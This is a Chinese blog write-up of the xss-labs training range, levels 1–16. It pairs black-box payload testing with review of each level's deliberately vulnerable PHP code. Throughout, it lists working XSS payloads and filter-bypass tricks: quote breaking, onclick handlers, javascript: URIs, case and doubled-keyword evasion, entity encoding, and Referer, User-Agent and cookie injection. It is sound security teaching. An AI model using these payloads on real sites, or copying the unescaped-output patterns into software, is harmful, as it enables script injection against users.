以黑盒与白盒的角度分析和通关xss-labs(XSS漏洞类型与总结)

举报
XError_xiaoyu 发表于 2024/07/31 13:56:15 2024/07/31
【摘要】 本文通过黑盒和白盒测试方法,对XSS实验室的多个关卡进行了详细的测试与分析。文章首先介绍了测试环境和方法,然后逐一对每一关卡的XSS漏洞进行了探索和利用,包括基础payload测试、闭合方式探索、字符转义、关键词替换、字符过滤或替换、href隐藏属性利用等技巧。并且对每一关卡的白盒以及黑盒测试代码分析,展示了如何通过代码审计来发现和利用XSS漏洞。

前言

        本靶场我是以黑盒测试过了一遍后,然后通过白盒测试分析代码,并将代码的解析放到了对应的通关下面的,原因就是平常懒的打靶场,个人比较喜欢实战测试,本次以黑+白的测试方式,既对自己的渗透测试xss进行了梳理,也对自己学习了代码审计后对php代码的分析和审计能力做了一个检验.

本文为本博主从CSDN自己的账号搬运而来,不存在抄袭行为,原文首发地址:https://blog.csdn.net/weixin_72543266/article/details/140234241

开局一个死鱼眼,通关全靠弹


XSS漏洞的总结和梳理

                下面是我对XSS漏洞的一个总结与梳理,需要的师傅可自行下载和改进


1.第一关(基础palyload)

黑盒测试


        注意不要被下面的palyload的长度误导,刚开始我以为是只能输入四个字符,观察后发现是参数的字符数目

初始的url: http://127.0.0.1/xss-labs-master/level1.php?name=test

将后面改为1后访问,F12网络查看响应包,发现内容在h1标签中

http://127.0.0.1/xss-labs-master/level1.php?name=1


直接在url处用常用的palyload直接通关

<script>alert(1)</script>

白盒测试

        观察一下这关的代码,获得name参数的值,然后打印获取参数的值和长度,这里是直接echo出输入的数据,并且没有进行任何过滤和转义的

<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>


2.第二关(闭合)

黑盒测试


直接上来搜索框改为1方便观察,但然也可以不改,然后进行查看,观察返回的源代码


这里发现输出结果还是在h2标签中,但是值1在value中并且因为是在表单中,闭合方式以"进行闭合的,那么OK了,直接在搜索框下面输入下面的任意一个palyload,通关

"><script>alert(1)</script>
x" onclick=alert(1) //

白盒测试

        观察代码,接受name为keyword的内容,其中发现echo部分使用了htmlspecialchars()函数对输出的str数据进行了转义,直接输入"><script>alert(1)</script>会出现下面的情况,但是并没有对表单的value的值进行转义,通过构造闭合方式的表单也会出现xss漏洞

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>


3.第三关(字符转义)

黑盒测试

这关发现还是表单,但是直接连test也没有了,还是老样子1,尝试一下


这样观察不出来什么,还是先盲打palyload测试一下


//ok发现输出转义了
<script>alert(1)</script>  



那尝试一下闭合表单呢,value处或是输入参数也做了转义,那就OK了

"><script>alert(1)</script>



        知道转义了,尝试输入' " <>"&,发现只有单引号没有被过滤同时确定闭合方式为单引号,ok了知道没有被过滤的字符以及闭合方式了,并且根据靶场为php后端开发,猜测可能就是用的默认的htmlspecialchars来做的后端过滤,这个后面分析源代码的时候可以验证


直接尝试掏出我祖传绕过秘笈,打入palyload,然后单击输入框,ok通关了

x'onclick=alert(1)// +单击搜索框
'onclick='alert(1)+单击搜索框

白盒测试

        分析一下源代码,接受name为keyword的内容,其中发现echo部分以及value部分使用了htmlspecialchars()函数对输出的str数据进行了转义,并且value部分的闭合方式为单引号

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>    
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

既然进行绕过了,那就具体分析一下htmlspecialchars()这个函数吧

        首先根据上面代码知道,不指定参数,那么为默认的,那么根据下面的显示很明显,只针对双引号做了转义,没有对单引号做转义,OK了

可用的引号类型:

  • ENT_COMPAT - 默认。仅编码双引号。

  • ENT_QUOTES - 编码双引号和单引号。

  • ENT_NOQUOTES - 不编码任何引号。

<?php
$str = "Bill & 'Steve'";
echo htmlspecialchars($str, ENT_COMPAT); // 只转换双引号
echo "<br>";
echo htmlspecialchars($str, ENT_QUOTES);// 转换双引号和单引号
echo "<br>";
echo htmlspecialchars($str, ENT_NOQUOTES); // 不转换任何引号
?>
<!DOCTYPE html>
<html>
<body>
Bill &amp; 'Steve'<br>
Bill &amp; &#039;Steve&#039;<br>
Bill &amp; 'Steve'
</body>
</html>

直接使用使用单引号构造的palyload

x'onclick=alert(1)// + 单击搜索框
'onclick='alert(1)+单击搜索框


4.第四关(字符过滤或替换)

黑盒测试


还是老样子先输入一个1观察一下,然后开始从基础的palyload开始尝试


先输入一个基础palyload尝试看一下回显,很明显h2部分的输出部分进行了转义,发现返回的value没了<>,value处进行了只过滤了符号

<script>alert(1)</script>



打一波' " <>& 符号,查看闭合方式以及被过滤的字符,如下图所示,发现了闭合方式为"



那这里也就简单了,只需要使用不含<>的palyload就可以了,还是使用上一关的palyload,只是闭合方式改为了"

x"onclick=alert(1)// + 单击搜索框

白盒测试

        分析一下源代码,可以看到还是和上面的分析的查不多,还是echo输出部分通过htmlspecialchars()函数进行了转义,vlaue部分输出的值通过str_replace()函数将<>进行置换为空后并输出其他内容,并且闭合方式为双引号

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>


5.第五关(关键词替换)

黑盒测试


先打一波符号测试一下' " <>&,发现字符都没有过滤,闭合方式为">


尝试打一个基础的以及前面使用的palyload,发现如下图所示,给value部分的scr和ipt前后加了一个_,上面部分还是进行了转义,发现为o_nclick 观察这两个发现过滤都是关键词,那么尝试使用其他的标签看是否存在别的标签没有被过滤或是尝试大小写绕过

<script>alert(1)</script>
x"onclick=alert(1)//



因为html对大小写不敏感,可以先尝试是否存在大小写绕过,发现还是被替换了,说明对输入的字符做了大小写转换,换下一种思路

"><Script>alert(1)</script>

        在尝试不同的标签后,发现fuzz标签后只有前面的那两个关键词被加了_,下面,是尝试的可以进行弹窗的palyload,其中第一个可以出现弹窗,但是不会提示过关,原因嘛猜测跟<iframe>标签本身有关,第二个超链接的形式可以成功过关

"><iframe src=javascript:alert('1');></iframe>  这个有弹窗,但是不会提示过关



"><a href="javascript:alert(`1`);">xss</a>  + 点击蓝色的xss


白盒测试

        分析一波代码,果然和前面的黑盒测试发现的结果一致,转义的就不说了,首先使用了strtolower()函数将输入的字符串转为小写,并且其中使用了str_replace()函数将"<script"置换为"<scr_ipt" ,将"on"置换为"o_n"后将其他的内容输出,通过使用不存在这两个关键词的标签进行弹窗就可以了

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>


6.第六关(关键词替换)

黑盒测试


先打一波符号测试一下' " <>&,发现字符都没有过滤,闭合方式为">


尝试打上一关测试的palyload,发现还是给value部分的scr和ipt前后加了一个_,上面部分还是进行了转义,发现为o_nclick 发现还是它两

"><script>alert(1)</script>
x"onclick=alert(1)//




        尝试超链接的palyload,发现果然,也把这个加入了,加了个_,但是还有一个特性不要忘记,因为html中对大小写不敏感

"<a href="javascript:alert(`1`);">xss</a>


尝试大小写伪造绕过,通关

"><a Href="javascript:alert(`1`);">xss</a>
"><Script>alert(1)</script>

白盒测试

        分析一下代码发现对很多关键词进行了替换,但是没有对输入的字符做大小写转换,这就验证了前面做黑盒测试的时候和第五关不同的原因了,直接大小写绕过即可

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>


第七关(关键词替换)

黑盒测试


还是老样子先打一波符号测试一下' " <>&,发现字符都没有过滤,闭合方式为">


接下来继续打基础的palyload进行尝试,发现如图所示script没了,那么应该和上关一样进行了替换,只是这里替换为了空

"><script>alert(1)</script>


尝试一下大小写绕过,不可以,看来做了大小写转换

"><Script>alert(1)</script>


        既然替换为空,那么尝试双写绕过,我第一次尝试使用的palyload,结果发现返回的信息,当时还有点懵逼,根据返回的ipt突然反应过来了,说明双写绕过是可以的,但是不巧的是,其中有将src这个关键词也替换为空的,尴尬了,但是没事,这不还是有另一个老标签可以使用的,这个这么碰巧,另一个不可能在有了吧

"><scr<script>ipt>alert(1)</script>



尝试另一个标签,通关

x"oonnclick=alert(1)//

白盒测试

        分析代码,首先和黑盒测试过程中发现的结果一致,果然做了大小写转换,并且确实对src这个进行了替换,不然第一个palyload是绝对可以的,如代码所示,都只进行了一次替换,那么双写绕过拿下.

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>


8.第八关(herf隐藏属性)

黑盒测试


        还是老样子先打一波符号测试一下' " <>&,发现字符都没有过滤,闭合方式为">,同时我们知道,在添加后我们需要进行点击,这里获取到的信息为,是在herf这个属性中




因为我确实在实战中目前没有碰到过这种情况,因此就只能使用老方法进行fuzz了,尝试进行闭合,发现被替换,尝试大小写,发现存在大小写转换,情况都如下图所示

"><script>alert(1)</script>
"><Script>alert(1)</script>



尝试双写绕过发现失败,并且发现把双引号也给替换为&quot了

"><scr<script>ipt>alert(1)</script>
x"oonnclick=alert(1)//


        到这里前面的所有技巧用光了,但是还有一种就是实战中常用的编码操作,但是一般我自己在实战中,直接进行盲打的,这里就结合js以及搜索知道了href有个隐藏属性自动Unicode解码,ok了进行编码

这里我利用的插件进行的编码,至于怎么判段打过ctf,熟悉这个编码了

javascript:alert() //下面是将这行伪协议编码的内容
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;


白盒测试

        分析一下代码,首先先是大小写转换,果然和黑盒测试的一致,然后就是关键词的替换,到这里正常是我们基本没办法了,但是因为href的隐藏属性自动Unicode解码,并且转码后也不会被替换,因此可以绕过了

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>


9.第九关(指定字符过滤)

白盒测试


        本关直接点击连接会出现下面的情况,ok看到这里我其实已经懵逼了,为什么因为无法判断和知道到底是什么不合法,之前也没遇到过,也不黑盒了直接看源码分析


        还是过滤了很多,包含大小写转换,关键词替换,多了使用一个strpos()函数,查看一下这个函数的详情strpos() 函数查找字符串在另一字符串中第一次出现的位置,strpos() 函数对大小写敏感。

说白了就是看输入的连接里面包含http://这个不,不包含就会出现提示不合法的文字

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>

直接输入下面的,然后进行添加连接,发现确实没有出现不合法的文字,,但是为了不影响我们的弹窗,我们可以将http://放到注释中就可以了

http://


&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;//http://


10.第十关(属性修改)

黑盒测试

        直接查看页面,发现并没有可以输入信息的地方,查看源代码,发现一个表单,使用了type属性里的hidden属性对三个输入框进行了隐藏


        这里我们可以通过改hidden为text将框显示出来,但是我们没有提交按钮,这里我尝试給不同的两个输入框输入数据,最后一个改为submit,最终发现只有name="t_sort"这个输入框的数据回显了,说明这个是后端接受数据的回显位



尝试基础palyload,发现<>被替换为空了,尝试使用不含<>的palyload

"><script>alert(1)</script>

这里先把第一个标签的type改为submit,然后将第三个标签的type改为text输入palyload,进行提交后页面会刷新一次,再将第三个的type改为text,然后点击输入框,发现成功过关

x"onclick=alert(1)// + 单击输入框

白盒测试

        分析代码,发现首先没有经过大小写转换,并且确实是第三个标签接受数据和返回数据,将<>替换为空,因为无法尝试大小写绕过了,但是没有对一些js的关键词进行替换,因此可以通过多种方式进行绕过

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>


11.第十一关(referer注入)

黑盒测试


这关还是和上关一样,没有任何输入的地方,查看源代码,果然和上关一样


        本来继续尝试回显位以及有没有过滤或是关键词被替换之类的,找回显位就是改其他位置为按钮submit,把其他改为text进行测试,看返回页面的内容,但是在查看源代码时候发现了第四个标签中,出现了的上一关的url链接和信息,这里如果经常实战的师傅一看就知道是怎么来的了,并且单词的缩写也提示了就是referer,说明这里的值是根据referer传入的,那么可以通过burp抓包添加referer或是插件都可以,先用符号测试一波,如下图所示,用HackBar验证确实是referer进行传参,知道了<>被过滤了,并且闭合为"

 < > " '&




        既然过滤了<>,那可以使用的palyload也就考虑没有<>的了,构造palyload,先打一波,看是否存在关键词替换,发现并替换,OK了把type的hidden改为text,点击输入框就通关了

x"onclick=alert(1)//


白盒测试

        分析一下源码,其他的都不用,中点看可以弹窗的部分,其中使用了$_SERVER['HTTP_REFERER']作用是可以获取当前链接的上一个连接的来源地址,最初作用是用来防止盗链的,到这里用做了获取referer的值,并且在value输出处,没有进行转义,只是对输入的值进行了<>替换为空,用onclick就可以绕过了

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>


12.第十二关(UA注入)

黑盒测试


        还是没有输入框,那么查看一下源代码吧,还是hidden隐藏了输入框,只不过最后一个,根据值以及前面的缩写,知道了这是ua头吧,有了上一关的经验,那么直接用palyload打一下


将userAgent改为下面的palyload,然后将type的值改为text

x"onclick=alert(1)//


发现palyload确实和上一关一样没有进行关键词替换,ok点击输入框通关 


白盒测试

        分析提下一下代码,和上关基本一致,只是获取到的数据为User_agent $_SERVER['HTTP_USER_AGENT']获取user_agent的值,然后将<>替换为空,最后没有转义的输出,通过onclick就可绕过

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>


13.第十三关(cookie注入)

黑盒测试


        老样子页面还是没有输入框,查看源代码发,发现这次没有什么明显的传值了,但是多了一个cook的东西,猜测可能是cookie注入


通小饼干插件查看,发现存在一个user,并且值和其中的value值对的上,ok解决了


直接打入和之前相同的palyload,然后更改type的hidden为text,然后单击输入框通关

x"onclick=alert(1)//



白盒测试

        分析一下源代码,发现和之前相似的两关,除了设置了一个cookie作为传值外,其他的没什么区别,设置由cookie传值,然后将<>替换为空,没有将关键词替换以及最后没有进行转义将其输出,造成漏洞

<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>


14.第十四关(图片属性弹窗)

白盒测试


        发现这关出来问题,最后只能直接看代码了,发现并没有任何的交互,因为出现了iframe这个标签,自己作为开发的一份子,对这个标签也是有一定的了解的,iframe标签的作用就是将一个别的页面引入到此页面中,但是访问下面的页面,发现已经没了,于是只能搜了一下本关的解法,ok具体可以看一下这个师傅写的文章xss-labs靶场-第十四关 iframe和exif xss漏洞 - FreeBuf网络安全行业门户,其实本关就是利用了实战中的弹窗的另一种方式而已,利用图片属性进行弹窗

<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xss/level15.php?src=1.gif>点我进level15</a></center>
</body>
</html>


15.第十五关(外部文件加载)

黑盒测试


本关还是没有输入框之类的信息,老样子直接查看源代码,发现除了这个注释没有什么别的有用的信息,直接百度这个信息


可以保护外部的html文件,必须在同一个域名下


注意点:

ng-include,如果单纯指定地址,必须要加引号。

ng-include,加载外部html,script标签中的内容不执行,不能加载,如果需要控制器处理需要在主页中注册。

ng-include,加载外部html中含有style标签样式可以识别。

ng-inclue,记载外部html中的link标签可以加载。

知道可以包含之前的文件,接下来我就尝试包含之前关卡的文件,最终发现尝试第一关并让第一关弹窗,根据前面的注意点,我们知道不能包涵那些直接弹窗的东西如<script>,但是可以包涵那些标签的东西比如<a>、<input>、<img>、<p>标签等等,这些标签是能的,这里我们使用img标签,构造payload,在URL处输入

?src='level1.php?name=<img src=1 onerror=alert(1)>'

白盒测试

分析源代码,以get方式在url中获取src属性的值然后以转义的形式将其输出,具体没有什么交互,本关引起漏洞的原因不在后端

<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>


16.第十六关(字符实体替换)

黑盒测试


        本关还是没有输入框之类的信息,但是注意存在一个test,观察url后发现,url处存在一个keyword=test ,那么开始测试,先测试符号,发现过滤

 < > ' " & /

打一个基础palyload看看情况,发现script被替换为空字符实体

<script>alert('1')</script>

        确定符号以及script都不能使用了,并且也不是属性的位置那么onclick相关的palyload也无法使用了,那么只能使用不包含这些palyload,看看我的绕过标签中还有这个符号


既然空格被过滤,但是我们是在url中传入的,可以通过编码进行绕过通过%0a这个空格的url编码进行替换空格代替空格进行绕过通关

<img%0asrc=1%0aonerror=alert(1)>

白盒测试

        分析一下源代码和测试,通过get请求获取的值进行转为小写,首先都转为小写,大小写绕过无法实现了,其次对符合以及script关键词进行实体替换,最后进行输出,但是没有对其他的关键词进行限制,并且最后输出时也没有进行转义,因此可以通过%0a的url编码绕过了空格转为实体,通过其他标签绕过script的限制.

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace(" ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>

17-20关

        其他关卡都是基于flash实现的,在实战中很少会遇到这么老的系统了,总结起来就是利用难度大,危害低,并且实现起来也比较复杂了,这里就不进行测试了,如果想进一步了解的师傅可以看其他师傅的文章进行复现和学习

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。